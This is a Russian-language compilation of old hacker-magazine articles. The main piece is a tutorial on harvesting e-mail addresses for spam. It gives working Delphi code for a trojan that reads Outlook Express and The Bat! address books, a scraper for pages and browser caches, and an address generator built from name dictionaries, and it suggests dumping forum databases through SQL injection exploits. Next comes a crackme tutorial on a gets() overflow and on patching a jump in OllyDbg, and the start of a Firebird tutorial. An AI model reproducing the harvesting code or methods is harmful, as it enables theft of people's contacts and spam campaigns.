вариант. Чтобы узнать имена констант, которые отвечают за ту или иную колонку, можно, открыв модуль WabTags.pas, запустить поиск по словам, начинающимся с PR_. Нас остальные варианты интересовать не будут, так как цель – получить все e-mail адреса. Далее идет объявление необходимых переменных. После переменных описана локальная процедура FreeSRowSet. Она необходима для очищения памяти, затраченной на чтение определенной строки из базы адресной книги. После begin идет код самой процедуры, предназначенной для вытягивания всех адресов. Переменной _fileName присваивается результат выполнения функции GetWabPath. Далее следует проверка, если файл не существует, то просто выходим из процедуры (читать-то нечего!). С помощью функции ZeroMemory полностью очищается структура _wp. Как только структура очищена, можно начинать заполнять ее свойства. Основное свойство - szFileName, в котором надо указать путь к WAB-файлу. Если путь не указан, будет использован wab-файл по умолчанию. Далее вызывается функция WabOpen, с помощью которой получаем доступ к адресной книге через интерфейс IAddrBook. Функции необходимо передать следующие параметры: - Указатель на переменную типа iaddrbook, в которую будет возвращен результат выполнения функции; - указатель на переменную iwabobject; - указатель на структуру twabparam; - 0 – зарезервированный параметр. Если функция выполнится успешно, то вернется S_OK. После выполнения функции можем определить идентификатор адресной книги. Для этого необходимо воспользоваться методом GetPab интерфейса IAddrBook. Выполнив метод, можем открыть интерфейс адресной книги и использовать его по своему усмотрению. Для получения доступа к интерфейсу адресной книги нужно воспользоваться методом OpenEntry все того же интерфейса IAddrBook. В качестве параметров этому методу нужно передать: • • • • • •
Полученный размер _entryidsize; указатель на определенный идентификатор входа записной книги (_entryid); тип интерфейса (указываем nil, используя тип по умолчанию); маску прав доступа (указываем 0); указатель на тип открытого объекта; указатель на интерфейс входа (нужно указать переменную типа iabcontainer).
Теперь можно получить доступ к «таблице контента». Она содержит много колонок, но все они нам не нужны, поэтому после получения доступа (_Container.GetContentsTable) с помощью метода SetColumns (интерфейса IMAPITable) устанавливаем колонки, которые реально понадобятся. Запускаем цикл, в котором с помощью метода QueryRows интерфейса типа IMAPITable получаем столбцы из таблицы. После этого нужно проверить, содержит ли таблица запрашиваемые нами столбцы (if _TableRow.cRows > 0 then). Если все нормально, то можно записывать данные. После записи нужно освободить затраченную память.
TheBat! Те, кто не используют OE, на 90% пользуются TheBat!. Но тут возникают маленькие проблемы. Формат адресной книги TheBat! не является открытым, поэтому невозможно найти какие-нибудь модули, позволяющие ее читать. Но, если сильно захотеть, то можно добиться чего угодно :). У адресной книги TheBat! нет постоянного расположения, она может храниться где угодно. Поэтому в трояне должна быть предусмотрена функция, которая будет искать все файлы с расширением ABD (именно такое расширение имеют файлы адресной книги). Все бы хорошо, но этот способ достаточно ресурсоемкий, так как сегодня винты имеют достаточно большой объем, и поиск займет много времени. Так что альтернативный способ - запусти редактор реестра и лезь в ветку HKEY_CURRENT_USER\Software\RIT\The Bat!. Именно здесь бат хранит все свои настройки. Среди множества бесполезных параметров есть параметр «Working Directory», в котором прописан путь к рабочей директории бата. Именно в этой директории находятся все файлы почтовых ящиков. То есть если считать значения этого файла, то будем знать, где хранятся настройки всех почтовых аккаунтов. В корне этой папки должен быть файл с настройками адресных книг - ADDRBOOK.INI. В нем перечислены все адресные книги, а также места их расположения. Если хорошо присмотреться к файлу ABD, то среди мусора можно увидеть e-mail адреса. Как тогда отделить мыльники от этого мусора? Теория чтения файла будет такой: 1. Открывается файл адресной книги. 2. Читается определенная часть файла, например, 1024 символа. 3. В цикле проверяется каждый считанный символ на предмет допустимого. 4. Если обнаруживается символ конца строки (#13), то есть вероятность, что считали e-mail адрес и можно его сохранить. Почему ориентироваться именно по символу конца строки? Ответ прост - ввод мыльника для нового контакта в TheBat! осуществляется в Memo. Каждый мыльник вводится на отдельной строке. Значит, разумно предположить, что в файле адресной книги после мыльника должен присутствовать символ конца строки. Остается только организовать всю эту теорию в коде. Запускай Delphi, в исходный код проекта вставляй содержимое листинга 2. В самом начале основного кода проекта идет инициализация переменной для работы с реестром. В прошлом примере для доступа к реестру использовали WinAPI, в этот раз упростим себе жизнь и воспользуемся готовым объектом для работы с реестром. После инициализации переменной проверяется существование ключа HKEY_CURRENT_USER\Software\RIT\TheBat!. Если он существует, то на данном компьютере установлен TheBat!. Теперь можно считать значение параметра Work Directory, после чего необходимо проверить существование папки, указанной в этом параметре. Как правило, здесь стоит значение %APPDATA%\TheBat (%APPDATA% - путь к рабочему каталогу пользователя). Поэтому, выполнив проверку с помощью функции DirectoryExists, жутко обломимся, так как она не умеет автоматически преобразовывать подобные пути. Как же узнать настоящее, а не относительное расположение пути? Есть несколько способов, в примере используется реестр. Путь к рабочему каталогу можно считать с Microsoft\Windows\CurrentVersion\Explorer\Shell Folders. Правда, в примере мы немного схитрили, с самого начала надеясь, что если не будет конкретной папки, то рабочий каталог TheBat! будет в рабочей папке пользователя. В большинстве случаев так и есть.
Как только путь определен, можно открывать файл AddrBook.ini и начинать его потрошить. Сначала считывается вся секция Profile в объект типа TStringList, а затем, после запуска цикла, ищется фраза Address Book # среди списка всех загруженных параметров. Если она найдена, то смело можно считывать значение текущего параметра. После считывания стоит проверить путь к полученной адресной книге: if pos('\', _path)=0 then _path:=_WorkDir+_path; Если в пути отсутствует слеш, значит, файл с адресной книгой находится в рабочей папке TheBat!, поэтому нужно дописать к имени файла путь его расположения. После этого процедуре ReadBook в качестве параметра передается путь к адресной книге. Файл с адресной книгой загружается в файловый поток. Так как файлы с адресными книгами довольно большие, читать будем по 1024 байта (смотри листинг 3). Проверяется каждый считанный символ. Если он соответствует условиям, то возможно, что этот символ относится к части мыльника, а значит, его можно добавить в переменную _email. В качестве условий проверки учитывается: английский алфавит, цифры от 0 до 9 и некоторые спецсимволы, которые может содержать e-mail адрес. Если проверка возвращает false, то вполне вероятно, что в переменной _email уже сформировался мыльник. Остается сделать еще одну проверку: если текущий символ равен #13 (конец строки), количество символов в переменной _email больше 0 и переменная _email содержит @, можно заносить адрес в список и продолжать сканировать файл адресной книги дальше. По завершении работы нужно освободить память, выделенную под переменные (вызывая метод Free у объектов).
Способ 2 - потрошим WEB Рабочие мыльники набираются на всевозможных форумах и гостевых книгах, так как при регистрации пользователю приходится вводить свой e-mail адрес. Раньше этот способ был лучшим. Спамеру стоило написать небольшую программку, натравить ее на какой-нибудь сайт, и через несколько часов можно было собирать урожай. Сейчас ситуация стала в корне меняться. Разработчики гостевых книг и форумов пытаются встраивать защиту от пауков спамеров. Например, если на том же форуме phpBB во время регистрации не изменить настройку показа своего e-mail адреса, то по умолчанию его никто не увидит. На других форумах отправка письма происходит через web-интерфейс. Таким образом, разработчики убивают двух зайцев сразу: пользователям комфортнее на форуме, а спамеры не могут получить e-mail адреса с помощью своих программок. Что касается гостевых книг, то многие разработчики идут на хитрость и записывают полученный от пользователя адрес так: spider_net(at)inbox(dot)ru. Простой способ, и на корню обрубает деятельность спам-пауков. Но на любое действие есть противодействие.
Как работают спамерские «пауки» Первым делом готовится список сайтов, на которые будут натравлены пауки. Получив список целей, паук открывает множество потоков и на полученных страницах вылавливает мыльники. Причем учти, что прокаченный объем трафика будет большой - это основной минус данного способа. Поэтому нужно с умом выбирать цели, а не качать все подряд.
Порой выгодней сначала выкачать определенные ресурсы, используя так называемые оффлайнбраузеры. Скачивать сайт можно целиком или только какой-то раздел сайта, например форум. Задача существенно упрощается. Достаточно написать небольшую утилиту, которой нужно указывать путь к папке, а она, в свою очередь, начнет выдирать мыльники со всех расположенных в ней файлах. Искать можно и в кэш-папке твоего браузера, так как довольно часто во время серфинга ты заходишь на различные форумы и сайты, на которых есть мыльники. Просканировав все эти файлы, можно пополнить свой спам-лист. Единственное, в такой программке необходимо реализовать отсев дубликатов и мусора. Запускай Delphi и создавай новый проект. На этот раз проект будет содержать форму (смотри листинг 4). Первым делом происходит инициализация переменных и присвоение первоначальных значений. Далее делается проверка. Если активна первая (точнее нулевая) закладка TPageControl, нужно не проверять мыльники, а сканировать выбранную директорию. За поиск html-файлов в указанной директории отвечает процедура FindFiles. В качестве параметра ей нужно передать начальную директорию, а затем она распотрошит все поддиректории. Для поиска файлов используются WinAPIфункции FindFirst и FindNext. Обрати внимание, что во время поиска файлов и их нахождения директории процедура findfiles вызывает саму себя. Этот прием называется рекурсия. При нахождении html-файла путь к нему в качестве параметра передается процедуре FindEmail. В ней и происходит сканирование html-файла на предмет мыльников. Использован такой же алгоритм, как и в поиске мыльников в адресной книге TheBat!. Все найденные мыльники сохраняются в директории, откуда была запущена программа, в файле log.log. Для теста натравили эту программу на небольшой архив, состоящий из html-версий журнала ХакерСПЕЦ. Поиск по 18 номерам дал на выходе 1099 мыльников. Но, достаточно много мыльников одинаковые, что недопустимо. Поэтому в программе возможность поиска дубликатов реализована на второй закладке PageControl. Сначала выбирается файл для сохранения «чистого» лога с мыльниками, после чего запускается проверка. Если мыльника нет в новом логе, то добавляем его, в противном случае - пропускаем. Но перед добавлением происходит проверка на правильность e-mail адреса. Проверка выполняется в функции CheckEmail (смотри листинг 5). Если функция вернет true, то мыльник - правильный, и его можно добавлять. Самая первая примитивная проверка - определение наличия знака «@». Если его нет, то не имеет смысла продолжать проверку. Следующий этап – разделение мыльника на название ящика (все символы, которые идут до знака собачки) и имя домена (все символы, которые идут после собачки). Отделение одной части мыльника от другой происходит с помощью функции Copy. Результаты ее выполнения сохраняются в переменных _name и _server. Функция CheckEmail содержит в себе еще и локальную функцию CheckAllowedSymbol, которая предназначена для проверки на недопустимые символы (проверяются переменные _name и _server). Известно, что e-mail может состоять только из латинских букв (в разных регистрах), цифр от 0-9, знака подчеркивания (_), тире (-) и точки. Другие специальные символы (: , ; = ‘) не могут употребляться. Если переданный в качестве параметра мыльник содержит запрещенные знаки (функция вернет false), его добавлять не стоит. В качестве теста обработали все тот же лог мыльников с архива журнала ХакерСПЕЦ. После проверки лог-файл существенно сдулся - осталось 347 мыльников.
Способ 3 – генерация В Сети на довольно старых бесплатных почтовых сервисах зарегистрированы миллионы пользователей. Взять, к примеру, самый часто используемый почтовый сервис – mail.ru. Он уже довольно долго предоставляет услуги бесплатной почты, поэтому почтовый ящик на этом сервере есть у каждого второго. А это значит, что почти все нормальные адреса уже заняты. Нормальные - это те адреса, в которых в качестве названия ящика используется реальное имя (или ник) человека. Допустим: igor@mail.ru, spider_net@inbox.ru, sanek@mail.ru и так далее. Теперь понимаешь, как этим пользуются для достижения цели? Все что остается спамеру, - составить свой словарь русских имен и популярных ников и написать простенькую тулзу, которая будет добавлять к каждому логу или имени знак @, плюс имя домена! Вероятность существования таких ящиков будет практически стопроцентной. Подобных бесплатных сервисов достаточно не только в рунете, но и у буржуев. Взять тот же буржуйский hotmail.com. Представляешь, сколько пользователей пользуется этим сервисом? Только для генерации адресов для иностранных почтовых служб, естественно, понадобится словарь с иностранными именами. Первый вопрос: где взять словарь с именами? Его можно составить самому (что очень невыгодно и муторно), а можно скачать готовый. К счастью, таких словарей можно найти огромное количество. Их, кстати, составляют еще хакеры для своих программ подбора паролей. Остается только добавить к ним имя домена. Вручную добавлять имена доменов достаточно неудобно и долго (особенно если словарь состоит из нескольких тысяч имен), поэтому нужен оптимизатор действий. Логичнее всего написать небольшую программку. Мы приведем пример на Delphi. В примере предусмотрена генерация мыльников для нескольких доменов, включая возможность выбора всех доменов, а также возможность транслитерации имен из словаря, в случае если они записаны русскими буквами. Это будет актуально, если ты вдруг сам решишь составить словарь имен. Весь код не приводим (он есть на диске к журналу), но рассмотрим функцию, которая отвечает за транслитерацию (смотри листинг 6). В разделе объявления констант определяются две константы: RusL и RusU. В них перечислен весь русский алфавит в разных регистрах. В двумерном массиве mas записаны латинские эквиваленты русским буквам. То есть первая в латинской раскладке буква «a» будет соответствовать нашей букве «а». Теперь, когда есть заранее определенный массив, ничего не стоит запустить цикл, и в нем проверять каждый символ, переданный в качестве параметра слова. Если текущий символ найден в массиве той или иной раскладки, то это значит, что его можно заменить, в противном случае оставить как есть. Для теста мы создали текстовый файл, в который записали несколько произвольных русских имен. После этого скормили этот файл программе. Спустя секунду программка закончила свою работу и любезно сохранила результат своей деятельности в выбранный лог-файл.
Способ 4 - срываем куш Так уж повелось, что многие пользователи на своих сайтах используют форумы, CMS и так далее. Как правило, все пользуются хорошо известными и популярными решениями: phpBB, IPB, PostNuke, Joomla... Но у всех этих чудесных программ рано или поздно находят ошибки в коде. В результате появляются перспективы для атаки: php Including, SQL Injection, XSS. Воспользовавшись одним из типов атак, можно сделать с сайтом все что угодно, начиная от банального дефейса и заканчивая
дампом всех баз данных. В контексте статьи нас интересует дамп базы данных, которая содержит адреса пользователей, вводимые ими при регистрации. В момент появления нового публичного эксплойта можно запросто поднять кучу баз данных с адресами пользователей. Все, что потребуется, - отыскать уязвимые форумы и нанести решающий удар. Как правило, в первые месяцы после появления эксплойта уязвим каждый второй ресурс... Функция GetAllEmail для чтения адресной книги Outlook Express procedure GetAllEmail; const TableColumns:record count:ulong; Definition: array [0..4] of ULONG; end = (Count: 5; Definition:(PR_DISPLAY_NAME, PR_EMAIL_ADDRESS, PR_ENTRYID, PR_OBJECT_TYPE); ); var _wp:TWabParam; _Container: IABContainer; _EntryID: PEntryID; _EntryIDSize, ObjType: ULONG; _Table: IMAPITable; _TableRow: PSRowSet; _AddrBook: IAddrBook; _WabObject: IWabObject; _file:TStringList;
PR_PERSONAL_HOME_PAGE,
//В процедуре происходит очистка //затраченной памяти. procedure FreeSRowSet(var P: PSRowSet); var I: Integer; begin for I := 0 to P^.cRows - 1 do _WabObject.FreeBuffer(P^.aRow[I].lpProps); _WabObject.FreeBuffer(P); P := nil; end; begin _fileName:=GetWabPath; //Если полученный путь к адресной книге не существует, //тогда выходим if not FileExists(_fileName) then Exit; //Присваиваем в интерфейсы значение по умолчанию _AddrBook:=nil; _WabObject:=nil; ZeroMemory(@_wp, sizeOf(_wp)); _wp.cbSize:=sizeOf(_wp); _wp.szFileName:=pchar(_fileName); _wp.hwnd:=0;
//Инициализируем память под объект типа TStringList //В нем у нас будут храниться результаты потрошения книги _file:=TStringList.Create; //Открываем файл WabOpen(_addrbook, _wabObject, @_wp, 0); //Определяем идентификатор адресной книги _AddrBook.GetPAB(_EntryIDSize, _EntryID); //получаем доступ к интерфейсу адресной книги _AddrBook.OpenEntry(_EntryIDSize, _EntryID, nil, 0, ObjType, IUnknown(_Container)); //Устанавливаем колонки, значения которых мы хотим получить //Перемещаемся в самое начало _Container.GetContentsTable(0, _Table); _Table.SetColumns(@TableColumns, 0); _Table.SeekRow(BOOKMARK_BEGINNING, 0, nil); //Перечисляем значение всех колонок repeat _Table.QueryRows(1, 0, _TableRow); if _TableRow.cRows > 0 then with _TableRow^.aRow[0] do begin _file.Add(lpProps[0].Value.lpszA+' <'+lpProps[1].Value.lpszA+'>'); FreeSRowSet(_TableRow); end else Break; until False; //Сохраняем результаты в файл _file.SaveToFile(ExtractFilePath(ParamStr(0))+'log.log'); _file.Free; end;
Обработка ABD-файла в TheBat! program Project1; uses Windows, System, SysUtils, Registry, Classes, IniFIles; {$R *.res} var _WorkDir:string; _reg:TRegIniFile; _Ini:TIniFile; _appDir:String; _adrBookPath:TStringList; _db:TStringList; _path:string; i:integer;
//Процедура читает файл с адресной книгой procedure ReadBook(_fileName:string); var _AddrBook:TFileStream; _Buf:array [0..1024] of char; _email:String; i, index:Integer; begin //Присваиваем пустое значение в переменную, в которой //будет складываться мыльник _email:=''; //Открываем для чтения файл с адресной книгой _AddrBook:=TFileStream.Create(_fileName, fmOpenRead); //Читаем 1024 байта из файла адресной книги index:=_AddrBook.Read(_buf, 1024); //В циклах проверяем посимвольно считанные данные while index>0 do begin for i:=0 to index do begin //Если текущий символ является допустимым для //мыльника, то мы его оставляем и добавляем к переменной //_email. if ((_buf[i]>'A') and (_buf[i]<'z')) or ((_buf[i]>'0') and (_buf[i]<'9')) or (_buf[i]='.') or (_buf[i]='-') or (_buf[i]='_') or (_buf[i]='@') then begin _email:=_email+_buf[i]; end else begin //Если мы нашли конец строки, //количество символов в переменной _email больше 0, //и самое главное в ней есть знак @, то значит //нам повезло, - мы вытянули нормальный мыльник, //и можно его добавить в список найденных. if (_Buf[i]=#13) and (Length(_email)>0) and (pos('@', _email)>0 then _db.Add(_email); _email:=''; end; end; //Читаем следующую партию данных index:=_AddrBook.Read(_buf, 1024); end; //Освобождаем выделенную память под объект _AddrBook.Free; end;
BEGIN //Инициализируем переменную для работы с реестром _reg:=TRegIniFile.Create('Software'); //Если нет ветки, которую создает бат, то //можно выходить, так как скорей всего программа //не установлена if not _Reg.KeyExists('RIT\The Bat!') then begin _reg.Free; Exit; end; //Получаем рабочий каталог thebat _WorkDir:=_reg.ReadString('RIT\The Bat!', 'Working Directory', ''); //Если полученный рабочий каталог не существует, то... if not DirectoryExists(_WorkDir) then //считываем путь к рабочему каталогу пользователя _appDir:=_reg.ReadString('Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', 'AppData', ''); //Избавляемся от символов переменной окружения if Pos('%',_workDir)>0 then begin _WorkDir:=Copy(_WorkDir, Pos('\', _WorkDir)+1, length(_WorkDir)); _WorkDir:=_appDir+'\'+_WorkDir; end; //Инициализируем переменную, к которой //будем добавлять все пути к найденным адресным книгам _adrBookPath:=TStringList.Create; //Связываем переменную _ini с файлом настроек адресных //книг бата. _Ini:=TIniFIle.Create(_WorkDir+'ADDRBOOK.INI'); //Читаем его и выдираем пути ко всем адресным книгам _Ini.ReadSection('Profile', _adrBookPath); _db:=TStringList.Create; for i:=0 to _adrBookPath.Count-1 do if Pos('Address Book #', _adrBookPath.Strings[i])>0 then begin _path:=_Ini.ReadString('Profile', _adrBookPAth.Strings[i], ''); if pos('\', _path)=0 then _path:=_WorkDir+_path; //Вызываем процедуру, которая читает файлы с адресной книгой ReadBook(_path); end; _db.SaveToFile(ExtractFilePAth(ParamStr(0))+'log.log'); _db.Free; _Ini.Free; _reg.Free; _adrBookPath.Free; END.
//Цикл, в котором анализируется каждый символ for i:=0 to index do begin if ((_buf[i]>'A') and (_buf[i]<'z')) or ((_buf[i]>'1') and (_buf[i]<'9')) or (_buf[i]='.') or (_buf[i]='-') or (_buf[i]='_') or (_buf[i]='@') then begin _email:=_email+_buf[i]; end //Поиск e-mail адресов в файлах procedure TForm1.FindFiles(dir: string); var SearchRec:TSearchRec; begin if dir[length(dir)]<>'\' then dir:=dir+'\'; if FindFirst(dir+'*.htm', faAnyFile, SearchRec)=0 then repeat Inc(_CountFiles); Label6.Caption:=IntToStr(_CountFiles); FindEmail(dir+SearchRec.Name); until FindNext(SearchRec)<>0; if FindFirst(dir+'*.*', faDirectory, SearchRec)=0 then begin repeat if ((SearchRec.Attr and faDirectory)=faDirectory) (SearchRec.Name[1]<>'.') then FindFiles(dir+searchRec.Name+'\'); until FindNext(SearchRec)<>0; FindClose(SearchRec); end; end; //Функция CheckEmail определяет правильность e-mail адреса function TForm1.CheckEmail(email: string): Boolean; //Локальная функция, которая проверяет, нет ли в e-mail //адресе недопустимых символов function CheckAllowedSymbol(s: string): boolean; var i: integer; begin Result:= false; for i:= 1 to Length(s) do begin if not (s[i] in ['a'..'z', 'A'..'Z', '0'..'9', '_', '-', '.']) then Exit;
and
end; Result:= true; end; var i: integer; _name, _server: string; begin Result:= false; //Сначала проверим, содержит ли вообще мыльник знак @ //Если нет, то это 100% не e-mail, поэтому можно выходить i:= Pos('@', email); if i = 0 then Exit; //Копируем в переменную _name название почтового ящика, то есть //все, что расположено до знака @ _name:= Copy(email, 1, i - 1); //Теперь наоборот, копируем доменную часть мыльника _server:= Copy(email, i + 1, Length(email)); //Делаем проверку //Если длина названия почтового ящика равна 0 //либо длина имени домена меньше 5, то значит, //это не мыльник, и можно выходить из процедуры if (Length(_name) = 0) or ((Length(_server) < 5)) then Exit; //Проверяем, содержит ли мыльник знак «точка» i:= Pos('.', _server); if (i = 0) or (i > (Length(_server) - 2)) then Exit; //Все проверки пройдены, остается лишь проверить на недопустимые символы Result:= CheckAllowedSymbol(_name) and CheckAllowedSymbol(_server); end; //Функция, которая отвечает за транслитерацию function TranslitRus(const Str: string): string; const //Русский алфавит в нижнем регистре RusL = 'абвгдеёжзийклмнопрстуфхцчшщьыъэюя'; //Русский алфавит в верхнем регистре RusU = 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ'; //Массив, в котором перечислены по порядку //латинские буквы mas: array[1..2, 1..33] of string = (('a', 'b', 'v', 'g', 'd', 'e', 'yo', 'zh', 'z', 'i', 'y', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'f', 'kh', 'ts', 'ch', 'sh', 'shch', '', 'y', '', 'e', 'yu', 'ya'), ('A', 'B', 'V', 'G', 'D', 'E', 'Yo', 'Zh', 'Z', 'I', 'Y', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'F', 'Kh', 'Ts', 'Ch', 'Sh', 'Shch', '', 'Y', '', 'E', 'Yu', 'Ya')); var
i: Integer; _len: Integer; _p: integer; _d: byte; begin //Очищаем результат result := ''; //Получаем длину передаваемого слова _len := length(str); //Запускаем цикл, в котором сравниваем //текущий символ с символом-эквивалентом //из нашего массива for i := 1 to _len do begin _d := 1; _p := pos(str[i], RusL); if _p = 0 then begin _p := pos(str[i], RusU); _d := 2 end; if _p <> 0 then result := result + mas[_d, _p] else result := result + str[i]; end; end; Статья принадлежит журналу Спец Хакер www.xakep.ru www.glc.ru
Copyright: Spider_NET E-Mail: spider_net@inbox.ru ICQ: 297740818
Разбираемся с переполнением буфера Здорово, сейчас я расскажу про переполнение буфера на примере Crack Me, который мы взломаем несколькими способами. Кодить Crack мы будем на C, а компилятор GCC возьмем из комплекта DevC++ 4.9.9.2, новее у меня нет, скачать весь комплект можно здесь http://www.bloodshed.net. Вот исходный код на С (main.c): #include <stdio.h> #include <string.h> main() { printf("Hello, please enter password: "); char passwd[225]; gets(passwd); if (strcmp(passwd, "3kl45u6sdlgui!SDFG@#5311")==0) printf("Very Good\n"); else printf("Very Bad\n"); system("PAUSE"); return 0; } Скомпилировал? Молодец! Запускай и вводи "123" в ответ получишь Very Bad, но, смотря на исходный код видно, что если ввести много больше 225 символов, то произойдет ошибка, так называемая ошибка переполнения буфера. Я ввел много троек, и Windows меня весело оповестил вот о такой ошибке: "Инструкция по адресу "0x333333333" обратилась к памяти по адресу "0x333333333". Память не может быть "read". Ну, всё пора уже и ломать, гы-гы. Открываем в OllyDbg Crack Me, он у меня называется main.exe. Нажимаем F8 (пошагово выполняем каждую инструкцию), и медленно спускаемся вниз, мы прошли только 5 команд и на 6 остановились, видимо здесь происходит ввод и вывод. Вот всё, что я прошел: 00401220 PUSH EBP 00401221 MOV EBP,ESP 00401223 SUB ESP,8 00401226 MOV DWORD PTR SS:[ESP],1 0040122D CALL DWORD PTR DS:[<&msvcrt.__set_app_type>] 00401233 CALL main.00401100 И на последнем CALL'e остановился. Запускаем сначала, но уже на последнем CALL'e жмем F7 (вход в процедуру). Итак, мы вошли в процедуру. Жмем дальше F8 до тех пор, пока не остановились здесь: 004011E2 CALL main.00401290
Здесь нужно нажать F7, т.к. я уже на собственной шкуре убедился в том, что здесь программа остановится. Дальше спускаемся до этого интересного места: 4012B9 E8 B2040000 CALL main.00401770 4012BE CALL main.00401410 4012C3 MOV DWORD PTR SS:[ESP],main.00403000;ASCII "Hello, please enter password: " 4012CA CALL <JMP.&msvcrt.printf> ;printf 4012CF LEA EAX,[LOCAL.62] 4012D5 MOV DWORD PTR SS:[ESP],EAX 4012D8 CALL <JMP.&msvcrt.gets> ;gets 4012DD LEA EAX,[LOCAL.62] 4012E3 MOV DWORD PTR SS:[ESP+4],main.0040301F;ASCII ;"3kl45u6sdlgui!SDFG@#5311" 4012EB MOV DWORD PTR SS:[ESP],EAX 4012EE CALL <JMP.&msvcrt.strcmp> ; strcmp 4012F3 TEST EAX,EAX 4012F5 JNZ SHORT main.00401305 4012F7 C70424 38304000 MOV DWORD PTR SS:[ESP],main.00403038 ; |ASCII "Very Good ;" 4012FE CALL <JMP.&msvcrt.printf> ; printf 401303 JMP SHORT main.00401311 401305 MOV DWORD PTR SS:[ESP],main.00403043 ; |ASCII "Very Bad" 40130C CALL <JMP.&msvcrt.printf> ; \printf 401311 MOV DWORD PTR SS:[ESP],main.0040304D ; |ASCII "PAUSE" 401318 CALL <JMP.&msvcrt.system> ; \system 40131D MOV EAX,0 401322 LEAVE 401323 RETN Вообще это самое главное место кода для кряка, т.к именно здесь сравнивается введенный пасс с оригиналом, а потом принимается решение направления потока, где выводится либо очень хорошо, либо очень плохо. Ну ладно, продолжим своё путешествие в этой программе, жмем F8 пока не дошли до этого места: 004012D8 CALL <JMP.&msvcrt.gets> ; gets Да-да, именно здесь принимается строка, введенная с клавиатуры. Вводим что-нибудь в программе, она находится в поле главном меню, ну на одной прямой с кнопкой Пуск, или как ещё называется это место, и нажимаем ВВОД. Переключаемся в OllyDbg, и нажимаем F8, дальше загружается реальный пас: 4012DD 8D85 08FFFFFF LEA EAX,[LOCAL.62] 4012E3 MOV DWORD PTR SS:[ESP+4],main.0040301F ; ASCII ;"3kl45u6sdlgui!SDFG@#5311" 004012EB |. 890424 MOV DWORD PTR SS:[ESP],EAX И вызывается функция сравнивания строк: 004012EE CALL <JMP.&msvcrt.strcmp> ;strcmp Т.к. мы ввели заранее неверный пас: 004012F5 JNZ SHORT main.00401305 ; | 004012F7 MOV DWORD PTR SS:[ESP],main.00403038 ; |ASCII "Very Good" 004012FE CALL <JMP.&msvcrt.printf> ; \printf
00401303 JMP SHORT main.00401311 00401305 MOV DWORD PTR SS:[ESP],main.00403043 ; |ASCII "Very Bad" То первый JNZ (JNZ - расшифровывается, как переход, если флаг ZF не равен 1) перебросит нас на по адресу 00401305, где загрузится Вери Бед, и дальше программа напечатает эту строку, поэтому нам нужно изменить JNZ на JE (JE - расшифровывается, как переход, если флаг ZF не равен 0) или JZ (тоже самое, что и JE), ведь нет никакой разницы, т.к. JE и JZ ассемблируются одинаково. Итак, сейчас мы сломали программу, и теперь напишем КРЯК, но я думаю, с этим ты сам справишься. P.S. В самом начале я что-то наплел про второй способ взлома, да он есть перед командой, которою мы правили a.k.a JNZ, есть команда TEST EAX, EAX, её нужно заменить на CMP EAX,EAX , и всё будет Ok. Скачать exeШНИК можно по адресу: http://rz-arhiv.narod.ru/files/tid0wlas/CrackMe/main.exe, а сорец files/tid0wlas/CrackMe/SOURS/main.c.
Copyright: Tid0Wlas WWW: http://www.radiantZone.info
Базы данных Ø Хранимые процедуры и представления в IB/FB (Copyright: Innok) Посмотрев на рейтинг скачивания мануала LittleBudda "Работа с Интербейз", честно говоря, немного удивился. С первого взгляда – вроде ничего странного, ну нравится манул – вот и качают. Однако ведь мало кто, особенно из новичков, считает IB/FB полноценным сервером. И большинство скачиваний – чтоб чуток посмотреть на клиент-сервер и с легким сердцем перейти на MS SQL Server, Oracle, MySQL. Пора рвать этот порочный круг. Ведь у IB/FB много преимуществ. Примеры? Да запросто! А знаете ли вы, что при выстреле из пушки в танке "Абрамс" создается мощный электромагнитный импульс, который фактически перегружает "мозги" танка?
Ø Обходимся без представлений (Copyright: Innok) Иногда при работе через BDE жизненно необходимо делать запросы вида Select… from Select… или те же view… Нужная, мощная и удобная штука. Но вот незадача - Local SQL не поддерживает ни одну из этих вещей. Однако выход есть (он там же, где и вход J ) - использовать возможность BDE работать с запросами, сохраненными в текстовом файле с расширением .sql как с таблицей (представлением).
Хранимые процедуры и представления в IB/FB Посмотрев на рейтинг скачивания мануала LittleBudda "Работа с Интербейз", честно говоря, немного удивился. С первого взгляда – вроде ничего странного, ну нравится манул – вот и качают. Однако ведь мало кто, особенно из новичков, считает IB/FB полноценным сервером. И большинство скачиваний – чтоб чуток посмотреть на клиент-сервер и с легким сердцем перейти на MS SQL Server, Oracle, MySQL. Пора рвать этот порочный круг. Ведь у IB/FB много преимуществ. Примеры? Да запросто! А знаете ли вы, что при выстреле из пушки в танке "Абрамс" создается мощный электромагнитный импульс, который фактически перегружает "мозги" танка? А во время боевых действий? Это ж сисадминов не напасешься..... :) И именно IB, вернее его клон, выбран как БД, из-того, что практически мгновенно восстанавливает работоспособность без специальных операций? А тип данных массив (Array)? Представьте, сколько б занял дискового пространства массив 1000*1000 – реализованный как таблица? А быстродействие такой таблицы? Именно поэтому Боинг использует IB для сбора информации в режиме реального времени с датчиков на тестовых плошадках для своих самолетов... Моторолла тоже не отстает... Блоб поля тоже первыми появились в IB, UDF – вообще сказка и мечта программиста... Примеров очень много, и не это как таковая - цель статьи. Кому интересно – можете почитать. Например, здесь: http://www.infocity.kiev.ua/db/content/db239.phtml. Так в чем же причина пренебрежительного отношения? Может быть в политике Borland, в свое время недостачно уделившей внимание этому направлению, или в недостаточной освещенности вопросов, связанных с программированием. И если на первое повлиять мне ну никак не получится в обозримом будущем, то вот второе – это я могу по мере сил и знаний. Я хочу продолжить развитие мануала LittleBudda по работе с InterBase/FireBird. И, возможно, вы измените свое мнение о семействе IB. Рассмотрим создание View (вид) и Stored Procedure(хранимая процедура). Самое важное их значение - возможность реализовать бизнес-логику на стороне сервера. Это дает возможность менять в определенных пределах логику приложения без перекомпиляции клиентской части, вынести часть расчетных операций с рабочих станций на сервер, упростить логику и уменьшить размер клиентской части.
View (вид, представление) View – это селективный непараметризированный запрос любой сложности, хранимый на стороне сервера. Обращение к View происходит так же как к таблице. Чем они выгодны? • • •
View хранится в откомпилированном виде, а, следовательно, выполняется несколько быстрее, чем обычный запрос. Изменение текста запроса «на лету», без перекомпиляции и перестановок клиентской части. Более правильный подход с точки зрения безопасности, пользователь может не иметь прав на таблицы, а работать только через виды и хранимые процедуры.
Ну, приступим к делу! Создадим простейший вид: /* View: V_SKLAD */ CREATE VIEW V_SKLAD( NAME, NAME1,
